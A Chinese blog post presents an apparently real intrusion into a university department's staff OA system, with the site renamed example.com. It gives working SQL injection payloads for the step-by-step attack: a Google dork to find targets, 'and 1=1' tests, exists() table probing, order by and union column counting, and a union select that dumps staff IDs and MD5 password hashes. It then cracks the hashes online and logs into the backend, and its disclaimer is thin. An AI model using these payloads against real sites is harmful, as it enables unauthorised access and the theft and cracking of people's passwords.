分分钟教你如何优雅地黑掉别人的网站

声明:本文的目的是技术交流,请勿用于非常用途!一切后果本人概不负责。


/**********/

    前言
/**********/

    脚本小子(scriptkiddie)是一个贬义词,用来描述:以“黑客”自居并沾沾自喜的初学者。脚本小子不像真正的黑客那样发现系统漏洞,他们通常使用别人开发的程序来恶意破坏
他人系统。通常的刻板印象为一位没有专科经验的少年,破坏无辜网站企图使得他的朋友感到惊讶。因而称之为脚本小子。他们常常从某些网站上复制脚本代码,然后到处粘贴,却并不一定明白他们的方法与原理。他们钦慕于黑客的能力与探索精神,但与黑客所不同的是,脚本小子通常只是对计算机系统有基础了解与爱好,但并不注重程序语言、算法、和数据结构的研究,虽然这些对于真正的黑客来说是必须具备的素质。
--------------------------------------------------------------
    今天我要不借助任何工具优雅的黑掉一个网站( 出于隐私和法律考虑,暂且把这个站叫做example.com)。

/**********/
准备工作

/**********/

google hack: inurl:?id=  site:example.com


找到一个站:http://example.com/school/postgraduate/tutor_detail.php?id=1001

分分钟教你如何优雅地黑掉别人的网站_第1张图片


好,试一下:http://example.com/school/postgraduate/tutor_detail.php?id=1001'

发现返回错误页面:

分分钟教你如何优雅地黑掉别人的网站_第2张图片

然后,再试:
http://example.com/school/postgraduate/tutor_detail.php?id=1001 and 1=1,返回正确
http://example.com/school/postgraduate/tutor_detail.php?id=1001 and 1=2,返回错误

-->说明存在数字型SQL注射漏洞(如果你不知道为什么,那你就是script kiddie -_-)。


/**********/
开始Hack

/**********/


1)猜解表名

这个需要一些社会工程学(哈哈~)

首先,这是一个学校的某个学院网站,电子工程学院(ee),其次,这个系统是一个OA系统,再次,现在这个错误页面是教师(teachers)信息。。。。
最后,经过很多次(非常多次)的实验,发现下面这条sql语句能够返回正确的查询结果:
and exists (select * from eeoa_teachers)

【注】:exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。

实际执行的sql语句可能是这样:

select * from someTable and exists(select * from eeoa_teachers)

好,这就说明存在eeoa_teachers这个表。


2)用UNION猜解当前表列数

方法一:

union select 1,2,3,4

方法二:
order by 4

(根据第4列排序,如果第4列存在,那么返回正确,如果order by 5时返回错误,说明这个表有4列。)

执行成功的URI:

example.com/school/postgraduate/tutor.php?id=1001%20union%20select%201,2,3,4,5,6,7,8,9,10

分分钟教你如何优雅地黑掉别人的网站_第3张图片

最后得出当前表有10列。这有什么用呢?

--> 一会要利用这个信息执行union查询,union查询要求前后列数相等


3) 破解列名:

猜username不对,那会是什么呢?最后猜出的是jgh.为什么是jgh呢?

--因为登陆页面提示输入“教工号”,以Chinese程序员的水平来说,这个字段很有可能就是jhg啦(参考12306的url。。。)

同理,密码也不是password,而是mm!!!哈哈哈

exists(select jgh, mm from eeoa_teachers)

返回还是正确。

【注】:常用的hack列名可以google之。


4)破解教工号:

因为网站设计者很不友好,提示输入“10位教工号”,哈哈,那就好办了,google一下这个学校的教工号,就找到规律了:年份(2014)+学院代码(111)+个人编号(XXX)

只有10*10*10 == 1000种可能了。可不借助工具还是比较多的。那么,继续google hack-->直接去找这个学院教师的通讯录,居然找到了:eaxmple.com/eeoa/contact.php

OK,得到了近百位老师的教工号,那么就无需破解了。


5)破解密码:

要破解密码,首先要拿到密码。来吧!用union查询可以办得到。

union select 1,2,3,4,5,6,7,8,jgh,mm from eeoa_teachers

返回页面是这样的():

分分钟教你如何优雅地黑掉别人的网站_第4张图片

OK,我们得到了md5加密过的密码,去www.md5online.comdecrypt一下,得到了几个弱口令。

---------------------------------------------------------

在这里提醒下各位:最好不要用一些在线查md5加密的网站去查自己密码的MD5,因为它会把你的查询结果存入彩虹表里!比如说,aE4v2z这样一个密码,我自己用代码MD5加密,结果是385ad31a4c10a4da639184b9e5d4de36,然后上网上查是查不到的,可是如果我先查aE4v2z的MD5,再去查385ad31a4c10a4da639184b9e5d4de36,就会得到aE4v2z,是不是很危险?

--------------------------------------------------------

6)登陆后台:

分分钟教你如何优雅地黑掉别人的网站_第5张图片

7)最后,就是想告诉自己:学好原理,别再做script kiddie啦!



















你可能感兴趣的:(加密,sql注入,脚本,破解,黑客)